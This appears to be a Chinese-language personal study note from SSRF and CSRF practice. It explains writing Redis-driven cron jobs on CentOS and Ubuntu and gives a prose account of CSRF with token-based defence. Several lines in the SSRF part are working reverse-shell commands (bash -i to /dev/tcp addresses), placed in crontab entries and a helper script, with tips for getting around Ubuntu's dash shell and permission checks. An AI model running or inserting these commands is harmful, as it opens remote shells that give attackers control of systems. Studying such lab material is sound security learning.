ssrf做题随记--任务计划的写入、csrf简单知识
目录
ssrf
csrf
ssrf
这里忘记写文档了,然后再次搭建环境一直成功不了所以这里以文字的方式记录一些要注意的点。
redis在低版本下没有降权然后执行的时候是以root权限执行,到了高版本以后就不行了redis被降权了,且如果是高版本稳定版的话是没有办法写入也就是更加安全
* * * * * /bin/bash -i >& /dev/tcp/192.168.0.106/7777 0>&1
centos写入任务计划是很正常的,该咋写咋写
ubuntu在写入任务计划的时候,ubuntu下你写入文件的话,写入的文件权限必须是600,不然有一个报错说你这个文件是不安全的,下面这个样子
cron[53948]: (root) INSECURE MODE (mode 0600 expected)
linux里面的cron中command执行的shell环境是/bin/sh,ubuntu下的/bin/sh文件是一个软连接文件,然后再ubuntu中这个软连接文件指向了dash,而我们的反弹计划反弹的是bash
下面我们有两种方式正常再ubuntu中反弹
第一种把软连接指向bash
第二种我们避免在cron文件里去使用bash这个shell,我们可以另外的去建一个反弹shell的shell脚本文件,然后在任务计划里面去直接调用这个shell脚本文件
/tmp/test.sh
#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.0.107/7777 0>&1
加权
chmod +x /tmp/test.sh
任务计划反弹
* * * * * /tmp/test.sh
第三种使用下面语句
*/1 * * * * bash -c "bash -i >&/dev/tcp/123.207.x.x/1234 0>&1"
redis再host字段下面/r/n的语句是没有办法执行的
csrf
全部都是客户端操作,攻击者只是给你发送了一个恶意链接,就比如说是修改密码的页面,里面的密码是我先确定好的。然后你提交数据,甚至你不需要提交数据,在你的网站上。然后你在你的网站上操作你的cookie绝对是有效的。然后里面的from表单生效,然后就把你的密码改掉了。然后我就可以用你的密码登陆了。
如何防御:在from表单下添加一个字段:token值,这个东西攻击者是伪造不了的,服务器在你第一次登陆的时候,会生成一个token,然后将这个token返回给你,然后下次你再登陆的时候携带这个token值去登陆,然后服务器会检测token的合法性。然后攻击者发送链接的时候并不知道你的token值,然后恶意链接上传的时候发现token不合适就不让这个恶意的网页操作进行。